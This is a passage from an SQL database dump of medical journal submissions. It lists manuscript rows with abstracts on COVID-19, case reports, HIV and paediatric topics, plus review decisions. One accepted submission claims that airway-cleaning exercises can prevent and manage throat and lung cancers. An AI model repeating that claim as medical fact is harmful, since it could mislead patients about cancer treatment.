major role in the diagnosis of BPPV. \r\n\r\n','                           BPPV – VEMP- Latency',334,NULL,'2020-07-18',NULL,'Submitted',4,NULL,'2021-02-09',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(5245,6436,73,0,'ipjnn-20-5245','Consideration of the effects of COVID-19 on the mental health of students',NULL,3,0,NULL,'This study describes the results of a scientific test that had a goal of understanding the effects of the COVID-19 pandemic on the mental health of high school students. A survey was sent out to a group of students that lives across 65 towns in Bergen County, NJ. In March 2020, 2 weeks into virtual schooling, they were asked to anonymously fill out a survey that asked questions pertaining to changes in their habits and adapting to the COVID-19 pandemic. 253 students from 60 towns responded to the survey. Students were asked to give their zip code and this was used to correlate student’s responses to the prevalence of COVID-19 positive cases in their town. The sixty towns were divided into four quartiles, A, B, C, and D based on town prevalence with Group A having the least and Group D having the most number of cases. Results indicated a correlation between increased stress level and increased prevalence of COVID-19 in student’s town as 78% of students form Group D reported increased levels of stress. Common among all 4 quartiles was increased psychological changes including increased hand-washing routine, a decrease in outdoor activities, and a decrease in social interactions with friends. \r\n	These results indicate that the COVID-19 pandemic has redefined the lives of students. The stress placed on students has gone up in all towns however notably in areas where prevalence is high. As the world enters the summer, it is clear that the educational system must consider the student’s health when trying to adapt to the new norm.\r\n','Mental Health, Stress, COVID-19, Neuroscience of Pandemic',352,NULL,'2020-07-18',NULL,'Submitted',2,NULL,'2020-09-23',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(5249,6440,73,0,'ipjnn-20-5249','Angiotensin II type 1 receptor blocker losartan effect on rats exposed to predator odor',NULL,14,0,NULL,'Background/aim: Predator odor induces anxiety-like behaviors in rats. Stress has destructive effect on neuronal circuits in brain which gives rise to many psychological disorders. Furthermore, studies have shown the existence of AT1 receptors in brain which play a role in stress responses. This study intention was to investigate the losartan (AT1 antagonist) treatment effects on rat’s behavioral response undergoing predator odor stress and non-stress. \r\nMaterials and methods: Each of sham and stress exposed group was divided to 4 subgroups (n =8). In non-associated groups, the rats were exposed to an unscented piece of cloth, and in the associated groups the unscented cloth was replaced with a cat-scented cloth associated with a cue. The losartan and normal saline were injected one hour before predator odor exposure and the behavioral tests applied after 10 days. \r\nResults: Losartan significantly decreased the difference time spent in the compartment associated with the cue. In the EMP task losartan had also the same effect by increasing the time spent in the open arms. \r\nConclusion: In general, it can be concluded that induction of predator odor stress in rats resulted in anxiety, and the effect was reversed by losartan. \r\n','Anxiety, losartan, predator, stress',327,NULL,'2020-07-19',NULL,'Submitted',4,NULL,'2021-02-09',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(5269,4677,971,0,'ipaclr-20-5269','HIV-associated thrombocytopenia: Profiling hematological changes in the HIV infected and AIDS patients ',NULL,14,0,NULL,'Background and Aim: The first Acquired Immune Deficiency Syndrome (AIDS) case in India was detected in the year 1986. Seldom studies have been conducted correlating Cluster of Differentiation-4 cell counts (CD4 cell counts) and complete blood picture including platelet counts in the Human Immunodeficiency Virus (HIV) infected and AIDS patients in the Indian population. The present study was carried-out with the same intent to evaluate the CD4 cell counts and complete blood picture including platelet counts in the HIV infected and AIDS patients and correlate them with the sero-negative controls.  \r\n\r\nMaterials and Methods: The present study was a cross-sectional, hospital-based study on the HIV infected and AIDS patients. Evaluation of complete blood picture including platelet counts was done using Sysmex XP 100- (Sysmex Corp., Hyogo, Japan), a fully automated analyzer while CD4 cell counts were evaluated using Partec Cyflow Counter- (Partec GmbH, Münster, Germany).  \r\n\r\nStatistical Analysis Used: The data was analyzed using SPSS version 15.0 (SPSS Inc., Chicago, IL, USA). Comparison of the said parameters was done using Analysis of Variance (ANOVA) and post-hoc Games-Howell test. p-value of <0.05 was considered statistically significant.  \r\n\r\nResults: The levels of hemoglobin (Hb), white cell counts (WBCs) and platelet counts showed statistically significant results (p <0.001) with the levels of Hb and platelet counts significantly decreased and levels of WBCs significantly increased in the HIV infected and AIDS groups as against the sero-negative controls.  \r\n\r\nConclusion: Hb, WBCs and platelet counts were significantly altered in the HIV infected and \r\n\r\nAIDS groups when compared with the sero-negative controls.','CD4 cell counts, Complete blood picture, Platelet counts, HIV, AIDS',3249,NULL,'2020-07-21',NULL,'Submitted',4,NULL,'2020-07-23',NULL,1,1,'1',NULL,0,NULL,NULL,4,0,0,0,NULL,0),(5291,6482,45,0,'iphsj-20-5291','Educational camps as an instrument to modify the body composition of overweight adolescents',NULL,14,0,NULL,'Objective: To observe the health and lifestyle of children who have been subjected to educational health camps. Bibliographic Review: During childhood and adolescence, in addition to the occurrence of physiological changes, the individual undergoes important psychosocial changes, which contributes to the characteristic vulnerability of this population group. The lifestyle consists of the practices that each person does to maintain physical and mental activity. Health education interventions, based on the practice of physical activities and healthy eating, have the potential to promote meaningful contextualized learning. When these interventions are carried out in health education camps, through the use of games, games, and educational dynamics in language appropriate for children, conducted by a multidisciplinary team, they can become useful strategies both in the prevention of installation and in the treatment of chronic diseases non-transmissible in pediatrics. Exploring the playfulness present in games used in health education is a relevant resource in clinical actions, especially those involving daily self-care related to health. Physical and health promotion activities carried out in health education camps promote both anthropometric and behavioral benefits and contribute to improving the health of children and adolescents. Final considerations: Educational health interventions through camps are effective in promoting bodily, behavioral, and lifestyle changes that contribute to improving the health of children and adolescents.','body composition;  overweight; adolescents',388,NULL,'2020-07-22',NULL,'Submitted',16,NULL,'2020-12-08',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(5293,6484,86,0,'ipaom-20-5293','PULMONARY HYPERTENSION: “ONE DISORDER DUE TO A DIVERSE SPECTRUM OF DISEASES\"',NULL,2,0,NULL,'ABSTRACT \r\n\r\nIntroduction:\r\n	\r\nPulmonary hypertension (PH) is progressive disease of pulmonary vasculature. Without therapy, patients suffer progressive and inexorable right heart failure, functional decline and result in death.\r\n\r\nObjectives:	\r\nEvaluation of various etiology of Pulmonary Hypertension\r\n\r\nCases:\r\n1)	SLE vasculitis: 22 year old female diagnosed as a case of SLE with Grade V Lupus nephritis, 2D ECHO shows severe PH (75mmHg)\r\n\r\n2)	Pulmonary Artery Hypoplasia: A 46 year old female, C/O productive cough and intermittent haemoptysis, non-progressive breathlessness and recurrent LRTI since childhood; 2D ECHO shows PH (45mmHg); CT Angiograph shows Small right pulmonary artery with a diameter of 7mm and left pulmonary artery diameter 18mm with right lung fibrotic and volume loss \r\n\r\n3)	CTEPH: 28 year old male, with breathlessness, Cough with streaky haemoptysis. 2D ECHO shows PH (110mmHg), with dilated RA, RV. CTPA shows filling defects in segmental and subsegmental branches of pulmonary artery on both sides with Homocystinuria\r\n\r\n4)	COPD with OSA: 82 year old female diagnosed as a case of COPD with OSA in type II respiratory failure with corpulmonale, 2D ECHO showed severe PH 65mmHg. \r\n\r\n5)	ILD IPF: A 38 year old female, with persistent progressive breathlessness and dry cough over 8 months; HRCT Thorax suggestive of UIP pattern, CTD ruled out; 2D ECHO shows PH of 60mmHg with dilated RA, RV. \r\n\r\nConclusion\r\n	Identifying cause of Pulmonary Hypertension is essential in order to give specific treatment for etiology of Pulmonary Hypertension and prevent its further complication. \r\n‘Pulmonary-Hypertension specific therapy’ is recommended only in Idiopathic Pulmonary-Hypertension patients\r\n','Pulmonary artery hypertension ',3411,NULL,'2020-07-22',NULL,'Submitted',4,NULL,'2020-11-04',NULL,1,1,'0',NULL,0,'','',4,0,0,0,NULL,0),(5294,6485,86,0,'ipaom-20-5294','ISOLATED UNILATERAL PULMONARY ARTERY HYPOPLASIA - RARE CASE REPORT',NULL,2,0,NULL,'pulmonary artery hypoplasia without associated cardiac anomalies is “Isolated unilateral\r\npulmonary artery hypoplasia”.\r\nt is frequently associated with other congenital anomalies such as, Tetralogy of fallot, VSD,\r\nTransposition of great vessels. aortic arch anomalies\r\nIt is a rare congenital anomaly\r\nIncidence- 1 in 300000\r\nIt occurs due to an embryologic developmental failure in the bud of 6th aortic arch\r\nCommon presentation- shortness of breath, recurrent respiratory infections,haemoptysis,\r\nsome patients are asymptomatic.\r\noccasionally from aberrant arteries that are usually from descending aorta, aortic arch, the\r\nleft innominate artery, left subclavian artery, their immediate branches or from a persistent\r\nright-sided ductus arteriosus\r\nTreatment is not usually possible, although reconstruction anastomotic surgery &amp; re\r\ncanalization procedure may be used in some cases\r\nRarely pneumonectomy for control of hemoptysis','isolated pulmonary artery hypoplasia, recurrent respiratory infections, cardiac anomalies',3411,NULL,'2020-07-22',NULL,'Submitted',4,NULL,'2020-09-01',NULL,1,1,'0','Send for revision',0,'','',3,0,0,0,NULL,0),(5299,6489,86,0,'ipaom-20-5299','POST-TRAUMA TESTICULAR ECTOPIA IN THE SCROTAL REGION: CASE REPORT',NULL,2,0,NULL,'The cryptorchidism is defined as the absence of the testis in the scrotum. In rare cases, it can occur after trauma in the scrotal area, usually resulting from motorcycle accidents, representing acquired cryptorchidism. In this context, this study demonstrates a case report of a young patient who presented cryptorchidism after trauma, who had been submitted to early orchidopexy, avoiding further complications.\r\n \r\n','Cryptorchidism; Trauma; Testicular Dislocation.',3195,NULL,'2020-07-22',NULL,'Submitted',2,NULL,'2020-08-10',NULL,1,1,'0','Accept for publication',0,'','',NULL,0,0,0,NULL,0),(5314,6499,45,0,'iphsj-20-5314','Current Situation of Coronavirus Disease: (COVID-19) Review Article',NULL,15,0,NULL,'COVID-19 is a type of coronavirus disease belonging to the family Coronaviridae. The disease is thought to originate from bats and was spread to people through an unknown medium in Wuhan, China. Ideally, the condition is spread by inhalation or close interaction with infected droplets that have an incubation period between two and fourteen days. Today, there are thousands of infections and deaths that have been caused by the disease. Moreover, the symptoms of the disease include fever, cough, sneezing, sore throat, difficulty breathing, and tiredness.. Additionally, the diagnosis of the disease starts by gathering samples of the upper and lower respiratory tracts of the infected person. Also, chest X-rays and CT scan are used in the diagnosis stage. Basically, there is no precise treatment for the ailment, and this calls for the need to prevent the disease from spreading. Notable prevention strategies are isolation of the infected persons, proper ventilation, hand hygiene and use of personal protective equipment. Therefore, this paper provides in-depth information on COVID-19 as it discusses the disease epidemiology, transmission, clinical features, diagnosis, treatment and prevention.','COVID-19, acute respiratory syndrome, multiorgan dysfunction, chest X-rays, CT scan.',388,NULL,'2020-07-23',NULL,'Submitted',16,NULL,'2020-08-03',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(5318,6329,86,0,'ipaom-20-5318','COVID-19 Knowledge, Attitude and Practice Among Medical and Non-medical Students of Karachi, Pakistan ---- A Comparative Cross-sectional Study',NULL,14,0,NULL,'OBJECTIVE: To assess and compare knowledge, attitude and practice regarding COVID-19 among medical and non-medical students of Karachi, Pakistan\r\nMETHODS: A cross sectional study was conducted among medical and non-medical students of Karachi, Pakistan from April-May 2020. Male and female students studying in first to fifth year at various medical and non-medical universities of Karachi were inducted through non probability convenience sampling after getting their informed consent.\r\nRESULTS: Out of the total 432 students, 331 (76.1%) were female while 101(23.4%) were male. About 259(60.0%) medical students and 153(35.4%) non-medical students were aware about the detection of COVID-19 in their country (p=0.013). More than half of the medical students, 221 (51.4%) and 113 (26.2%) non-medical students knew the unavailability of vaccine against COVID-19 (p=<0.001). A total of 264(61.1%) medical students and 158(36.6%) non-medical students agreed that handwashing is necessary for the prevention of infection (p=<0.001). Almost half of the medical students, 201(46.5%) were of the opinion that smoking will not prevent infection as compared to 80(18.5) non-medical students (p=<0.001). Similarly, 191(44.2%) medical students felt that antibiotics will not prevent infection as compared to 74(17.1%) non-medical students (p=<0.001). Upon comparison of the students pertaining to practice of COVID-19, 123(28.5%) medical students said that they use alcoholic hand rub as compared to 61(14.1%) non-medical students (p=0.043).\r\nCONCLUSION: In conclusion, this research clearly indicates the difference in knowledge, attitude and practice among medical and non-medical students towards COVID-19. This reflects an urgent need of planning more awareness campaigns and health policies to fight against COVID-19. This data can be used to further asses the satisfaction of students at a larger level.','knowledge, attitude, practice, covid-19, medical students',3386,NULL,'2020-07-23',NULL,'Submitted',2,NULL,'2020-08-14',NULL,1,1,'0','Accept for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(5332,6515,326,0,'IPJUS-20-5332','Perineal tears in childbirth',NULL,14,0,NULL,'Perineum often follow vaginal delivery and are termed as perineal tears, it’s quite common. Royal College of Obstetrics and Gynecology classified perineal tears into four grades and recommended certain steps in repair with specific sutures material, special post-operative and further follow up plan. Psychological concept of perineal. Tears and it repair, healing and outcome of this morbidity has direct impact of patient’s quality of life.','Perineal tears, Obstetric anal sphincters injuries, maternal morbidity.',2505,NULL,'2020-07-24',NULL,'Submitted',2,NULL,'2020-09-28',NULL,1,1,'0','This article is accepted for publication/.',0,'','',NULL,0,0,0,NULL,0),(5361,5354,45,0,'iphsj-20-5361','Level of Knowledge on Hepatitis B and C Virus among Blood Donors at National Blood Bank, Addis Ababa, Ethiopia',NULL,14,0,NULL,'Background: Even though hepatitis B and C remains an important cause of morbidity and mortality globally; there is studies limitation regarding public knowledge about Hepatitis B and C virus, even among volunteer blood donors. \r\nMethod: \r\nThe institution-based cross-sectional study design was conducted among 404 blood donors to determine the level of blood donors’ knowledge on the Hepatitis B and C virus at National Blood Bank, Addis Ababa, Ethiopia in 2017. Clients who came to the national blood bank during the study period were selected by using a simple random sampling technique. Data were analyzed by using SPSS version 20 software. \r\nResults\r\nA total of 404 participants were planned to participate in the study of which the responding rate was 389(96.3%). From a total of study participant volunteer blood donors, only 121(31%) and 81(21%) of them were found to have good knowledge about HBV and HCV correspondingly. Whereas, only 70(18%) of the study participants had good knowledge of both B and C hepatitis infection. \r\n\r\nConclusion: The level of public knowledge about hepatitis B and C viruses’ infection is poor','Hepatitis B, Hepatitis C, Knowledge',388,NULL,'2020-07-25',NULL,'Submitted',16,NULL,'2020-08-11',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(5362,6548,45,0,'iphsj-20-5362','A STUDY OF PREVENTION TO VIRUS COMMUNICATION IN THE HUMAN SOCIETY.',NULL,15,0,NULL,'Now a days many diseases are increasing due to virus infection\r\nin the world. Because of this, infections like the Spanish\r\nflu, Cholera, Smallpox, Whooping Coughetc. are coming from\r\nthe old times.But now a days a new virus has arrived, named\r\nNovel Coronavirus due to which Covid-19 is spreading an\r\ninfectious disease.\r\nThis infection spreads from person to person.In earlier times it\r\nwas heard that due to infection, all the people of the village\r\nand the city would die.Due to this, villages in villages used to\r\nbe empty.\r\nBut later the vaccine has been prepared for their prevention,\r\nwhich has prevented these epidemics to a great extent.But\r\nalong with these vaccines, humans have to correct their habits\r\nalong with their prevention like personal health, good habits,\r\nhygiene, exercise, yoga, balanced diet and immunity etc.The\r\nsociety will also have to be made aware of social evils like\r\nsuperstitions, caste, etc.Only then can we prevent epidemic infection.','',685,NULL,'2020-07-25',NULL,'Submitted',16,NULL,'2020-08-11',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(5366,6551,73,0,'ipjnn-20-5366','Implications of COVID-19 in Neurological Disorders',NULL,19,0,NULL,'Like most medical disciplines, neurology is impacted by COVID-19. The direct attack of the nervous system by the coronavirus does not seem to be in the foreground, but a neuro-invasive potential exists. In addition, many patients with neurological conditions are considered to be \"at risk\" patients with coronavirus infection; monitoring and treatment of these patients must, therefore, adapt to the current situation.\r\nMore and more scientific data suggest that the SARS-CoV-2 virus which currently prevails all over the world would also infect the brain. Certain symptoms observed by doctors could indeed stem from brain dysfunction, but investigations are still underway to better understand this potential neurological damage to COVID-19.\r\n','Keywords : Covid-19 Neurology,Neurological Disorders, Nervous System,Stroke.',334,NULL,'2020-07-25',NULL,'Submitted',1,NULL,'2020-11-10',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(5367,6552,667,0,'iptb-20-5367','Level of diversified feeding among school-age children in Northwest Ethiopia: a cross sectional study.',NULL,14,0,NULL,'Abstract\r\nBackground: In Ethiopia, a country of diverse agro-climatic conditions, children consume a monotonous diet. This unvaried feeding culture has consequences on their nutritional status. But the reason why they are monotonous is not clearly known. Thus, the purpose of this study were to determine the level of dietary diversity among school-age children. \r\nMethods: A community-based cross-sectional study was conducted among 422 randomly selected school-age children from 16 April to 15 June 2018 in Mecha woreda, Amhara regional state. The data were collected using a structured questionnaire. Both descriptive and inferential statistics were used to present the data. Variables at p<0.05 were taken as determinants for diet variety.\r\nResults: The prevalence of dietary diversity; 86.4% had good dietary diversity. Most households (89.4%) were secured for food.  The determinant factors of good dietary diversity were irrigation user [AOR= 2.49 (1.11, 5.60)] and access to information [AOR = 2.29 (1.15, 4.59)]. \r\nConclusions: The prevalence of dietary diversity was generally good in the study area. Children from households that used irrigation and access to information had better dietary diversity. Increasing maternal and child awareness through media and increasing household agricultural production of variety through irrigation was recommended.\r\n\r\nKeywords: dietary diversity, household food security, Northwest Ethiopia.\r\n','Dietary diversity, household food security, Northwest Ethiopia.',3803,NULL,'2020-07-26',NULL,'Submitted',2,NULL,'2020-08-10',NULL,1,1,'1','accept the paper',0,'','',NULL,0,0,0,NULL,0),(5420,5541,73,0,'ipjnn-20-5420','Misdiagnosis of Heroin-Induced Leukoencephalopathy in two patients ',NULL,2,0,NULL,'Abstract:\r\n\r\nPurpose of review: Toxic leukoencephalopathy is a rare cause of encephalopathy. We describe two cases of toxic leukoencephalopathy associated with opiate abuse in which they were initially admitted to the psychiatric ward. \r\n\r\nFindings: In our case series, both patients presented with behavioral changes, restlessness, pressured speech, and cognitive impairment for which they were initially labeled as psychiatric patients and were treated as such. However, after an extensive workup to elucidate the etiology of alteration in mental status, toxic leukoencephalopathy associated with heroin abuse was found to be the culprit in both cases.  \r\n\r\nSummary: Toxic leukoencephalopathy is a rare condition that can be caused by Inhalation of heroin. Clinically, it may present with confusion, behavioral changes, extrapyramidal symptoms, generalized motor deficit, unresponsiveness and even death. Our cases highlight the importance of recognizing the psychiatric presentation of toxic leukoencephalopathy.','Heroin-induced leukoencephalopathy, MRI imaging in TLE. Misdiagnosis of TLE as a psychiatric illness',352,NULL,'2020-07-28',NULL,'Submitted',4,NULL,'2020-11-10',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(5428,6623,45,0,'iphsj-20-5428','DOES ADOLESCENT POPULATION NEED CALCIUM SUPPLEMENTS?',NULL,6,2,NULL,'Bone size & bone mass increase rapidly from the preadolescent years to the end of teen years. In girls, these bony changes predominantly occur in the 12 months before & after menarche. During these pubertal growth spurts, bone growth generally outpaces bone mineralization. This leads to relative reduction in bone mineral density. Adequate calcium & Vitamin D intake is thus essential to keep pace with bone growth during these years. Many longitudinal studies have shown optimal calcium intake with reduction in the risk of fractures & osteoporosis in later life. ','',3824,NULL,'2020-07-28',NULL,'Submitted',19,NULL,'2020-08-06',NULL,1,1,'1','Accepted',0,'1053','nikhil_m@omicsgroup.co.in',NULL,0,4,0,NULL,0),(5429,6624,45,0,'iphsj-20-5429','HIGH ALTITUDE ILLNESS – PREVENTATIVE TRAVEL ADVICE FOR PARENTS',NULL,15,2,NULL,'The beauty of majestic mountains is the subject of many fairy tales across different cultures worldwide. This grandiose magnificence attracts tens of millions of tourists to high altitude areas every year worldwide. Lower barometric pressure & thus diminished inspired partial pressure of oxygen (PIO2) at high altitudes (>2500 m) means that in some visitors it can result in a fall in partial pressure of alveolar oxygen (PAO2), arterial PO2 (PaO2), & arterial oxygen saturation (SpO2). The resultant tissue hypoxia (called ‘hypobaric hypoxia’) is the initial root cause of high-altitude illness (HAI). Although most healthy children do well at high altitudes, those at risk of developing HAI include premature infants, infants under 6 weeks of age, infants up to one year of age with a history of oxygen requirement, and children with congenital heart disease, cystic fibrosis, pulmonary hypertension, Down syndrome, or neuromuscular problems compromising ventilation. ','',3826,NULL,'2020-07-28',NULL,'Submitted',19,NULL,'2020-08-06',NULL,1,1,'1','Accepted',0,'','',NULL,0,4,0,NULL,0),(5430,6625,45,0,'iphsj-20-5430','MIXED IPV-OPV SCHEDULING TO HELP ERADICATE VACCINE-ASSOCIATED PARALYTIC POLIOMYELITIS ',NULL,15,2,NULL,'Following the launch of Global Polio Eradication Initiative (GPEI) in 1988, the annual global incidence of polio has dramatically reduced from >350,000 cases in 1988 to 37 cases in 2019. Poliovirus vaccines are currently available in two forms: inactivated poliovirus vaccine (IPV) given as an intramuscular (IM) injection and oral poliovirus vaccine (OPV). Since IPV is highly effective & doesn’t cause vaccine-associated paralytic poliomyelitis (VAPP), it is the only vaccine recommended by United States centres for Disease Control & Prevention (CDC) for routine immunization in US. In fact, IPV is the preferred vaccine in most upper- & middle-income countries of the world. Unlike IPV, rare cases of VAPP have been reported in OPV recipients & their contacts due to reversion of vaccine-derived attenuated viral strain to neurovirulence strain. Despite these reports, over years OPV has remained the preferred vaccine for the developing countries owing to its low cost, ease of administration by non-medical workers, & induction of mucosal immunity. ','',3827,NULL,'2020-07-28',NULL,'Submitted',19,NULL,'2020-08-06',NULL,1,1,'1','Accepted',0,'1053','nikhil_m@omicsgroup.co.in',NULL,0,4,0,NULL,0),(5431,6626,45,0,'iphsj-20-5431','ROLE OF PROPRANOLOL IN THE MANAGEMENT OF COMPLICATED INFANTILE HAEMANGIOMAS ',NULL,15,2,NULL,'Infantile haemangiomas are the most common vascular tumours of infancy. They can occur anywhere on the skin, mucous membranes & internal organs, and may vary in size from few millimetres to many centimetres. Although benign & generally self-limiting, some tumours are classified as high-risk as they can cause serious complications, e.g. large, rapidly-growing facial lesions may ulcerate, scar, & thus cause permanent disfigurement; lesions in the periorbital or periocular regions may cause functional impairment; CNS or spine lesions may cause developmental anomalies; deep visceral lesions in airways, liver, or GI tract may even cause life-threatening complications. ','',3828,NULL,'2020-07-28',NULL,'Submitted',19,NULL,'2020-08-06',NULL,1,1,'0','Accepted',0,'1053','nikhil_m@omicsgroup.co.in',NULL,0,4,0,NULL,0),(5464,6666,86,0,'ipaom-20-5464','NEUROLEPTIC MALIGNANT SYNDROME IN AN ATYPICAL PATIENT - A DIAGNOSTIC DILEMMA',NULL,2,0,NULL,'With the awareness about mental health improving over the last decade, even in developing countries, the diagnosis and management of psychiatric disorders among the elderly has also increased. The common disorders in the elderly population include depression, anxiety disorders and psychosis, and recent literature suggests a higher incidence over last few years. Quetiapine is one of the most commonly used drugs in the geriatric population, mainly because of its low adverse effect profile. In this case report, we discuss a case of NEURPLEPTIC MALIGNANT SYNDROME (NMS) in a 69 year old female, manifesting the syndrome at the dose of 200mg per day of Quetiapine. NMS is uncommon in the geriatric population, with only a few case reports published. Our case is rare in more ways than one, making it difficult to clinch the diagnosis, however responding completely to treatment. ','NEUROLEPTIC MALIGNANT SYNDROME, PSYCHIATRY, AUTOIMMUNE ENCEPHALITIS, EMERGENCY MEDICINE, ANTIPSYCHOTICS',2890,NULL,'2020-07-28',NULL,'Submitted',2,NULL,'2020-08-22',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(5469,6391,959,0,'ipacr-20-5469','PREVENTION AND MANAGEMENT OF RESPIRATORY DISEASES INCLUDING THROAT AND LUING CANCERS THROUGH EXERCISE INTERVENTIONS','',14,0,NULL,'                         Oxygen plays  a vital role in the  breathing processes . Appropriate levels of it are vital to support cell. As a result of Chronic and serious Respiratory diseases, the physiology of pulmonary system  gets affected and as a result,  oxygen diffusion to capillaries at alveolar  level gets disturbed.  The responsible factors for the said disturbances are Chronic inflammation and mucus hyper secretion . Therefore, their management is very important for normal lung function.\r\n\r\nTitle:  Chronic Inflammation and Mucus Hyper secretion are the factors responsible for various Respiratory diseases including Throat and Lung Cancers – Prevention and Management through Exercise Interventions:\r\n\r\nManikonda Prakash Rao, Awardee of Excellence in  Health Care at INDO GLOBAL HEALTH CARE SUMMIT AND EXPO 2014, HYDERABAD INDIA.\r\n\r\nBackground: The objective of the paper is to create awareness among people about alternative and complimentary methods to protect themselves from various respiratory diseases including Throat and Lung cancers.  The diseases cause the following changes in Airways. 1) Inflammation: Acute inflammation is a defense process whereas chronic inflammation is a disease process.  2) Hyper secretion of mucus:  is the result of goblet cell hyperplasia in respiratory mucosa and is a prominent future of inflammation. They go together. Chronic mucus hyper secretion is a potential risk factor for an accelerated loss of lung function. The thick viscous mucus in the lungs will be conducive to pathogens. Continued inflammation and mucus hyper secretion may significantly contribute to transformation of normal cells into pre cancerous cells and later into cancerous cells i.e. the scope for series of mutations on Genes may get increased. 3) Bronchospasm: is an additional factor in asthma patients. \r\n\r\nMethods: Exercise is a potent medication in history.  It can be used as a tool to manage various respiratory diseases including throat and lung cancers. a)  Cleaning Upper airway passages, mouth, nose and pharynx, the primary sites of colonization of pathogens and the sinuses, the way stations to the brain. These exercises should be practiced with hypertonic solution i.e., a solution having greater osmotic pressure than that of cells or body fluids and draws water out of cells thus inducing plasmolysis. b) Physical, aerobic and yogic exercises: help in strengthening the Inspiratory and Expiratory muscles.\r\n\r\nConclusions: Any mucus related respiratory health problem commences from upper airway passages and spread to tracheo bronchial tree as they constitute only one path way. The mucociliary clearance mechanism becomes defunct when excess and sticky mucus forms. Once the upper airway passages are cleaned of it, the defunct cilia become active and ciliate mucus towards mouth and it can be pushed out easily. The upper airway passages and the bronchial airways get cleaned from excess and sticky mucus.  The diseases originating from its pathway come under control. The exercises are based on the concept “ Once the offending factor, excess mucus is removed, the origin of it, Inflammation  gets resolved “ As a result of management of the above two  factors,  the gene damaging effect may get  reduced i.e., the scope for  series of  mutations  on genes  may get reduced. \r\n\r\nBiography: \r\nPresented papers at various International conferences including ALL INDIA INSTITUTE OF MEDICALL SCIENCES New Delhi , 2009 and 2012 and Bangalore 2016  for their conferences on Gerontology and Geriatric Medicine and WORLD ALLERGY ORGANISATION  OF US for their  conferences on Allergy, Asthma and Immunology 2010 and 2012 at Dubai and Hyderabad,  National conferences on pulmonary diseases at Bhubaneswar and Chennai, Indo Global Health  Care summit and Expo , International conference in  2014 at Hyderabad.  He has been given award  for  Excellence in  Health Care by the Organizers of the International conference.    He has also presented paper at AIIMS New Delhi, for their International conference on Multidisciplinary Health Care 2014 and 2016 and many others as  stated below:\r\n He has presented papers at international cancer conferences ,  Indo global cancer therapy conference at Hyderabad and Global cancer conference at Bengalore November 2015, International conference on Radiation Oncology and Anti-Cancer Therapy , at Dubai in the year 2016 November 21st and 22nd , In addition to the above, he has presented papers   ( Video presentations ) at  25th World Congress on CANCER SCIENCE AND THERAPY and 10th World Congress   on  BIOMARKERS & CLINICAL   RESEARCH Conference at Baltimore  USA  18th – 20  October 2017,  INNOVATE CANCER THERAPY  conference at Brisbane  , Australia , 29th 30th November, 2017 .  His has been taken as an Advisory Board  Member. In addition to the above,  sent  video  presentations  to  International  Conference  on Pharmacological Pathways  of Conventional  and Alternative  Medicines in Cancer Treatment  and  Cancer Therapy Conference Osaka Japan  during July 2018. And also, the organizers of  Cellular therapies , Cancer, Stem Cells and  Bio Medical Engineering  International conference took  place at New York USA,  have taken him  as one of their members of their Organizing committee and included his  name in their renowned speakers  and many more. Further, sent video presentation to Paris  France for their International conference on Cancer treatment in the month of March 2019 and many more.\r\nHe  has devised exercises by which the excess mucus ( Hyper Secretion of Mucus ) , a major  pathological feature of Airway  diseases  formed  as a result of Inflammation  and  responsible  for  various  respiratory  diseases,  can be drained out within minutes  from upper airway passages mouth, nose and pharynx,  the primary sites of colonization of pathogens ,  the sinuses, the weigh stations to the brain and the traceo bronchial tree  resulting  in normal breathing. \r\nHe says Exercises are  alternative and complimentary.  His article MANAGEMENT OF MUCUS RELATED RESPIRATORY  HEALTH  PROBLEMS THROUGH SINUSES AND AIRWAYS CLEANING EXERCISES  has been published in INTERNARTIONAL  JOURNAL  NAMAH  dt. 15th October 2010 and revised article AIRWAY MUCUS HYPER SECRETION AND ITS MANAGEMENT THROUGH EXERCISE  INTERVENTIONS  dated 24th April  2015 by Sri Aurobindo International Institute of Integral Health and Research,  Pondicherry.  The journal is indexed. Further ,  his article on “ EXPERIENCES AND REFLECTIONS OF A  SELF  MADE  HEALTH CARE  SPECIALIST   has been published  in  the journal dt 15th July 2017 . He has demonstrated exercises on a few patients at the Institute and the patients could get relief within minutes. He has been issued a certificate to the said effect by Dr Vandana, the  In charge of the Institute.  He is treating patients at Mega Health camps  organized by Lions Clubs International Gandhinagar, Hyderabad and others.\r\n\r\n','',3521,'','2020-07-15',NULL,'Submitted',4,0,'2020-07-29','',1,1,'0','Accept',0,'909','pravalika_b@omicsgroup.co.in',4,0,0,0,NULL,0),(5481,6682,86,0,'ipaom-20-5481','Our Success in the Treatment of Acute Respiratory Failure in Coronovirus Patients Using Non-invasive Ventilation',NULL,2,0,NULL,'Key words: non-invasive ventilation, acute respiratory failure, COVID-19.\r\nThe novel coronavirus infection (COVID-19) pandemic, caused by the highly contagious severe acute respiratory syndrome coronavirus (SARS-CoV-2), is still at its peak, causing thousands of deaths every week. Since the beginning of the coronavirus (just a few months ago), our understanding of the disease has grown rapidly. While there are several large randomized drug trials currently underway, current survival from severe COVID-19 is entirely dependent on providing the best supportive care possible. \r\n Objective: To determine the benefits of NIV in ARF in patients with COVID-19.\r\nResearch material: The study included 25 patients admitted to the intensive care unit of the AMU surgical clinic during the period from April 1 to August 1, 2020.\r\nResearch results: Our experience with NIV has shown that the majority of patients undergoing NIV tolerate this procedure relatively well at the initial stage. However, in a number of patients during the first minutes or hours of NIV, there is no improvement in their condition (clinical parameters and gas exchange) or the procedure is poorly tolerated; the proportion of such patients is usually about 15–35%. Non-invasive ventilation of the lungs was carried out with an oral-nasal mask using an ELISA ventilator. The parameters were set and adjusted according to the general state and according to blood gas data 4 times a day: RR <35, pH> 7.30, neurological dysfunction according to the Kelly scale> 3-5, modified with a scale for determining the participation of auxiliary respiratory muscles <3 points. With hypercapnia, the following parameters were set: Ps - 12, PEEP - 6 cm water column, FiO2 -30-40%, and with hypoxemia - Ps - 12, PEEP - 5 cm water column, FiO2 -50-60 %. The median treatment period with 